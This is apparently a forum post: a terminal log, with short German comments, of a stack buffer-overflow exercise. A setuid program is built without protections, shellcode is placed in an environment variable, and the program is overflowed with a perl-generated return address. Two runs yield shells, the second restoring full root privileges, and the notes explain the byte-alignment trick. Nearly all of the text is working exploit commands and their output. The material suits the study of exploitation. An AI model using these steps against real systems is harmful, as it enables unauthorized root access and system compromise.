root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# gcc -g -fno-stack-protector -z execstack -o drop_privs drop_privs.c
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# sudo chown root ./drop_privs; sudo chmod u+s ./drop_privs
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# export SHELLCODE=$(cat tiny_shell)
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./getenvaddr SHELLCODE ./drop_privs
SHELLCODE will be at 0xbffff8d8
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./drop_privs $(perl -e 'print "\xff\xbf\xd8\xf8"x20')
$ who
tomovic  tty7         Aug 20 20:14 (:0)
$ id
uid=0(root) gid=0(root) euid=5(games) groups=60(games),0(root)
$ ls 
ls: cannot open directory .: Permission denied
$ exit
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack#

1.Man Sieht deutlich, dass Ihr die Rechte heruntergestuft werden.
2.Ihr braucht 2 Dummy Byte's ODER verdreht die ersten 2 Byte's

root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# nasm priv_shell.s
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# export SHELLCODE=$(cat priv_shell)
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./getenvaddr SHELLCODE ./drop_privs
SHELLCODE will be at 0xbffff8cc
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./drop_privs $(perl -e 'print "\xff\xbf\xcc\xf8"x20')
# who
tomovic  tty7         Aug 20 20:14 (:0)
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
a        connectback_shell        fcntl_flags.c  helloworld3     pointer_types3.c  commandline.c       expolit_buffer        helloworld2.s  pointer_types2.c    stack_example.c
#

1.Da wird deutlich gemacht, dass die Rechte heruntergestuft werden und dann wieder hoch.
2.Ihr braucht 2 Dummy Byte's ODER verdreht die ersten 2 Byte's

   

Jetzt c/c++ lernen  

   
© ALLROUNDER